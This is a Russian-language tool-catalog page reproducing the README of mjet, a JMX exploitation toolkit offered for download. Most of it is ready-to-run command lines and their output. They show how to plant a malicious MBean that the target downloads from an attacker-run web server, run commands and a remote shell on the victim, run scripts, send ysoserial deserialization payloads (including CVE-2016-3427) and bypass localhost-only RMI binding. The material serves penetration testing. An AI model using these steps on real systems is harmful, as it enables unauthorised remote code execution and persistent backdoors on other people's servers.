Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
mjet — MOGWAI LABS инструментарий для эксплуатации JMX | Kitploit
Инструменты/GitHubGitHub/mogwailabs/mjet
Генерация полезной нагрузкиЭксплуатацияПост-эксплуатацияТестирование на ПроникновениеRed TeamingИнструмент Удаленного ДоступаArchived
GitHubmogwailabs/mjet

mjet

MOGWAI LABS инструментарий для эксплуатации JMX

Репозиторий
2054713 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

MJET от MOGWAI LABS

MOGWAI LABS — инструментарий для эксплуатации JMX

MJET — это форк sjet, который был разработан компанией siberas, но больше не поддерживается активно. MJET поддерживается командой MOGWAI LABS, которая также предоставила большую часть исходной кодовой базы sjet.

MJET позволяет легко эксплуатировать небезопасно сконфигурированные JMX-сервисы. Дополнительную справочную информацию можно найти здесь и здесь.

!!! Важно: этот проект больше не поддерживается

Этот репозиторий больше не поддерживается. Вместо него мы рекомендуем использовать qtcs beanshooter.

Предварительные требования

  • Jython 2.7
  • Ysoserial (для эксплуатации уязвимостей десериализации через JMX)
  • opendmk_jmxremote_optional_jar-1.0-b01-ea.jar (для поддержки альтернативного JMX Message Protocol (JMXMP))

Использование

MJET реализует интерфейс командной строки (с использованием argparse):

root@kitploit:~
jython mjet.py targetHost targetPort MODE password (modeOptions)

Где

  • targetHost — IP-адрес цели
  • targetPort — порт, на котором запущен JMX
  • MODE — режим работы скрипта
  • modeOptions — параметры выбранного режима

Поддержка аутентификации (если аутентификация JMX включена):

  • --jmxrole — имя пользователя
  • --jmxpassword — пароль

Другие необязательные аргументы:

  • --jmxmp — использовать JMX-MP (требуется загрузка дополнительного JAR)
  • --localhost_bypass — порт службы для прокси в обходе localhost
  • --shell — использовать заданную оболочку (shell)
  • --rmiObjectName — RMI-имя JMX-конечной точки

Режимы и параметры режимов

  • install — устанавливает полезную нагрузку на текущую цель
    • password — пароль, который должен быть установлен после успешной установки
    • payload_url — полный URL для загрузки полезной нагрузки
    • payload_port — порт для загрузки полезной нагрузки
  • uninstall — удаляет полезную нагрузку с текущей цели
  • changepw — изменяет пароль на уже развёрнутой полезной нагрузке
    • password — пароль для доступа к установленному MBean
    • newpass — новый пароль
  • command — выполняет команду CMD на targetHost
    • password — пароль для доступа к установленному MBean
    • CMD — команда для выполнения
  • shell — запускает простую оболочку на targetHost (с ограничениями java's Runtime.exec())
    • password — пароль для доступа к установленному MBean
  • javascript — выполняет javascript-файл FILENAME на targetHost
    • password — пароль для доступа к установленному MBean
    • FILENAME — выполняемый javascript
  • deserialize — отправляет полезную нагрузку ysoserial на цель
    • gadget — гаджет, предоставляемый ysoserial, например, CommonsCollections6
    • cmd — команда для выполнения
  • webserver — просто запускает веб-сервер MLET
    • payload_url — полный URL для загрузки полезной нагрузки
    • payload_port — порт для загрузки полезной нагрузки

Примеры

Установка MBean с полезной нагрузкой на уязвимый JMX-сервис

В следующем примере уязвимый JMX-сервис работает на 10.165.188.23, порт 2222, атакующий имеет IP-адрес 10.165.188.1. JMX-сервис подключится к веб-сервису атакующего, чтобы загрузить JAR-файл с полезной нагрузкой. MJET запустит необходимый веб-сервис на порту 8000.

После успешной установки MBean пароль по умолчанию изменяется на пароль, указанный в командной строке («super_secret»).

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> java -jar jython-standalone-2.7.0.jar mjet.py 10.165.188.23 2222 install super_secret http://10.165.188.1:8000 8000

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://10.165.188.1:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
10.165.188.23 - - [26/Apr/2019 21:50:37] "GET / HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done
h0ng10@rocksteady ~/w/mjet> 

Установка с учётными данными JMX (также требует небезопасной конфигурации сервера):

root@kitploit:~
h0ng10@rocksteady:~/mjet$ jython mjet.py 192.168.11.136 9991 install super_secret http://192.168.11.132:8000 8000 --jmxrole JMXUSER --jmxpassword JMXPASSWORD
mJET - MOGWAI LABS JMX Exploitation Toolkit
=======================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://192.168.11.136:9991/jmxrmi
[+] Using credentials: JMXUSER / JMXPASSWORD
[+] Connected: rmi://192.168.11.132  1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://192.168.11.132:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
192.168.11.136 - - [22/Aug/2017 22:38:00] "GET / HTTP/1.1" 200 -
192.168.11.136 - - [22/Aug/2017 22:38:00] "GET /mogwailabs_mlet.jar HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.mlet.MogwaiLabsPayload
[+] Successfully changed password

h0ng10@rocksteady:~/mjet$

Выполнение команды 'ls -la' на Linux-цели:

После установки полезной нагрузки мы можем использовать её для выполнения системных команд на цели.

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 command super_secret "ls -la"

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  4
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: ls -la
total 20
drwxr-xr-x  5 root    root    4096 Apr 26 11:12 .
drwxr-xr-x 33 root    root    4096 Apr 10 13:54 ..
lrwxrwxrwx  1 root    root      12 Aug 13  2018 conf -> /etc/tomcat8
drwxr-xr-x  2 tomcat8 tomcat8 4096 Aug 13  2018 lib
lrwxrwxrwx  1 root    root      17 Aug 13  2018 logs -> ../../log/tomcat8
drwxr-xr-x  2 root    root    4096 Apr 26 11:12 policy
drwxrwxr-x  3 tomcat8 tomcat8 4096 Apr 10 13:54 webapps
lrwxrwxrwx  1 root    root      19 Aug 13  2018 work -> ../../cache/tomcat8


[+] Done
h0ng10@rocksteady ~/w/mjet>

Работа в режиме оболочки

Если вы не хотите загружать Java для каждой команды, вы можете использовать «режим оболочки», чтобы получить ограниченную командную оболочку.

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 shell super_secret 

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  5
[+] Use command 'exit_shell' to exit the shell
>>> ls -la
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: ls -la
total 20
drwxr-xr-x  5 root    root    4096 Apr 26 11:12 .
drwxr-xr-x 33 root    root    4096 Apr 10 13:54 ..
lrwxrwxrwx  1 root    root      12 Aug 13  2018 conf -> /etc/tomcat8
drwxr-xr-x  2 tomcat8 tomcat8 4096 Aug 13  2018 lib
lrwxrwxrwx  1 root    root      17 Aug 13  2018 logs -> ../../log/tomcat8
drwxr-xr-x  2 root    root    4096 Apr 26 11:12 policy
drwxrwxr-x  3 tomcat8 tomcat8 4096 Apr 10 13:54 webapps
lrwxrwxrwx  1 root    root      19 Aug 13  2018 work -> ../../cache/tomcat8


>>> pwd
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: pwd
/var/lib/tomcat8


>>> exit_shell
[+] Done
h0ng10@rocksteady ~/w/mjet> 

Запуск JavaScript-полезной нагрузки на цели:

Пример скрипта «javaproperties.js» выводит свойства Java уязвимого сервиса. Его можно запустить следующим образом:

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 javascript super_secret scripts/javaproperties.js 

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  6
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing script
awt.toolkit=sun.awt.X11.XToolkit
java.specification.version=11
sun.cpu.isalist=
sun.jnu.encoding=UTF-8
java.class.path=/usr/share/tomcat8/bin/bootstrap.jar:/usr/share/tomcat8/bin/tomcat-juli.jar
com.sun.management.jmxremote.authenticate=false
java.vm.vendor=Oracle Corporation
sun.arch.data.model=64
...


[+] Done

Смена пароля

Изменить существующий пароль («super_secret») на «this-is-the-new-password»:

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 changepw super_secret this-is-the-new-password

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  7
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done

Удаление MBean с полезной нагрузкой с цели

Удалить MBean с полезной нагрузкой 'MogwaiLabs' с цели:

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 uninstall

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  8
[+] MBean correctly uninstalled
[+] Done

Эксплуатация десериализации Java с помощью ysoserial

Эксплуатация десериализации Java с помощью ysoserial на цели: Файл ysoserial.jar должен находиться в каталоге MJET. Вы можете выбрать любую полезную нагрузку ysoserial, как и при обычных вызовах ysoserial.

Эта атака работает даже при включённой аутентификации JMX и если у пользователя есть права «readonly».

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> jython mjet.py --jmxrole user --jmxpassword userpassword 10.165.188.23 2222 deserialize CommonsCollections6 "touch /tmp/xxx"

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Added ysoserial API capacities
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Using credentials: user / userpassword
[+] Connected: rmi://10.165.188.1 user 21
[+] Loaded sun.management.ManagementFactoryHelper$PlatformLoggingImpl
[+] Passing ysoserial object as parameter to getLoggerLevel(String loglevel)
[+] Got an access denied exception - this is expected

[+] Done

Эксплуатация CVE-2016-3427: аутентификация JMX с десериализацией Java

Эксплуатация CVE-2016-3427 с помощью ysoserial: Файл ysoserial.jar должен находиться в каталоге MJET/jar. Вы можете выбрать любую полезную нагрузку ysoserial, как и при обычных вызовах ysoserial.

root@kitploit:~
$ java -jar jython.jar mjet.py 127.0.0.1 9999 cve-2016-3427 CommonsCollections6 "touch /tmp/xxx"

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Added ysoserial API capacities
[+] Using JMX RMI
[+] Connecting to: service:jmx:rmi:///jndi/rmi://127.0.0.1:9999/jmxrmi
[+] Object was deserialized, target could be vulnerable
[?]: Returned error:
(<type 'java.lang.SecurityException'>, java.lang.SecurityException: Authentication failed! Credentials should be String[] instead of java.util.HashSet, <traceback object at 0x2>)
[+] Done

Ссылка: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-3427

Только режим веб-сервера

Также можно просто запустить веб-сервер, который предоставляет код MLET и JAR-файл с MBean полезной нагрузки

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 webserver http:/xxxx/xxxx 8000

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 8000
[+] Press Enter to stop the service

Поддержка JMX message protocol (JMXMP)

Скачайте opendmk_jmxremote_optional_jar-1.0-b01-ea.jar и переместите его в каталог jars. Этот каталог нужно добавить в classpath через java -cp.

root@kitploit:~
java -cp "jython.jar:jars/*" org.python.util.jython mjet.py shell mypass

Обход localhost

Иногда RMI-реестр предоставляет RemoteObject, доступный только через localhost (например @127.0.0.1:45401). Однако порт, на котором RemoteObject доступен по сети, может быть открыт.

root@kitploit:~
$ nmap -sVC 172.17.0.2 -p 9999,45401

Starting Nmap 7.60 ( https://nmap.org ) at 2020-03-24 16:48 CET
Nmap scan report for 172.17.0.2
Host is up (0.00035s latency).

PORT      STATE SERVICE     VERSION
9999/tcp  open  java-rmi    Java RMI Registry
| rmi-dumpregistry: 
|   jmxrmi
|      implements javax.management.remote.rmi.RMIServer, 
|     extends
|       java.lang.reflect.Proxy
|       fields
|           Ljava/lang/reflect/InvocationHandler; h
|             java.rmi.server.RemoteObjectInvocationHandler
|             @127.0.0.1:45401
|             extends
|_              java.rmi.server.RemoteObject
45401/tcp open  rmiregistry Java RMI

Этот сервис всё ещё можно эксплуатировать с помощью опции --localhost_bypass <PORT>. В следующем примере мы используем порт 45401. При этом будет запущен TCP-прокси на localhost и трафик будет перенаправляться на targetHost через указанный порт.

root@kitploit:~
$ jython mjet.py --localhost_bypass 45401 172.17.0.2 9999 install mypass http://172.17.0.1:6666 6666

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 6666
[+] Using JMX RMI
[+] Connecting to: service:jmx:rmi:///jndi/rmi://172.17.0.2:9999/jmxrmi
[+] Started localhost proxy on port 45401
[+] Connected: rmi://172.17.0.1  17
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://172.17.0.1:6666
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
172.17.0.2 - - [24/Mar/2020 18:07:01] "GET / HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done

Пользовательское RMI-имя объекта

Иногда RMI-имя объекта JMX-конечной точки не равно jmxrmi; в этом случае можно использовать параметр --rmiObjectName, чтобы указать соответствующее RMI-имя объекта, например --rmiObjectName=customJmxRmi.

root@kitploit:~
$ jython mjet.py --rmiObjectName=customJmxRmi 172.17.0.2 2222 super_secret install http://172.17.0.1:8000 8000

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/customJmxRmi
[+] Connected: rmi://10.165.188.1  1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://10.165.188.1:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
10.165.188.23 - - [26/Apr/2019 21:50:37] "GET / HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done
$  

Использование собственной заданной оболочки

Иногда целевая система не предоставляет оболочку /bin/bash или cmd.exe. В этом случае можно указать необязательный параметр --shell, например --shell="bash -c". При выполнении javascript javaproperties.js с помощью mjet.py можно получить более подробную информацию об окружении.

root@kitploit:~
$ jython mjet.py --shell="bash -c" 10.165.188.23 2222 command super_secret "ls -la"

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  4
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: ls -la
total 20
drwxr-xr-x  5 root    root    4096 Apr 26 11:12 .
drwxr-xr-x 33 root    root    4096 Apr 10 13:54 ..
lrwxrwxrwx  1 root    root      12 Aug 13  2018 conf -> /etc/tomcat8
drwxr-xr-x  2 tomcat8 tomcat8 4096 Aug 13  2018 lib
lrwxrwxrwx  1 root    root      17 Aug 13  2018 logs -> ../../log/tomcat8
drwxr-xr-x  2 root    root    4096 Apr 26 11:12 policy
drwxrwxr-x  3 tomcat8 tomcat8 4096 Apr 10 13:54 webapps
lrwxrwxrwx  1 root    root      19 Aug 13  2018 work -> ../../cache/tomcat8


[+] Done
$

Ссылка: https://www.optiv.com/blog/exploiting-jmx-rmi

Docker

Соберите и запустите docker-образ

root@kitploit:~
# Build
docker build -t mjet .
# Run Help
docker run mjet
# Exploit example
docker run mjet 10.165.188.23 2222 install super_secret http://10.165.188.1:8000 8000
# Run Interactive into shell
docker run --entrypoint /bin/sh -it mjet

По умолчанию docker-образ открывает порт 8000 для HTTP-сервера. Если вам нужен другой порт, не забудьте открыть его!

Участие в разработке

Не стесняйтесь вносить свой вклад.

Авторы

  • Hans-Martin Münch — Первоначальная идея и разработка — h0ng10
  • Patricio Reller — CLI и дополнительные опции — preller
  • Ben Campbell — Ряд улучшений — Meatballs1
  • Arnim Rupp — Поддержка аутентификации
  • Sebastian Kindler — Поддержка десериализации
  • Karsten Zeides — Поддержка JMX Message Protocol, обход localhost — zeides
  • g60ocR — Docker-файл — g60ocR
  • Morn98 — Выбор оболочки и RMI — Morn98)

Также см. список участников, которые принимали участие в этом проекте.

Лицензия

Этот проект распространяется под лицензией MIT — подробности см. в файле LICENSE.

Скачать инструмент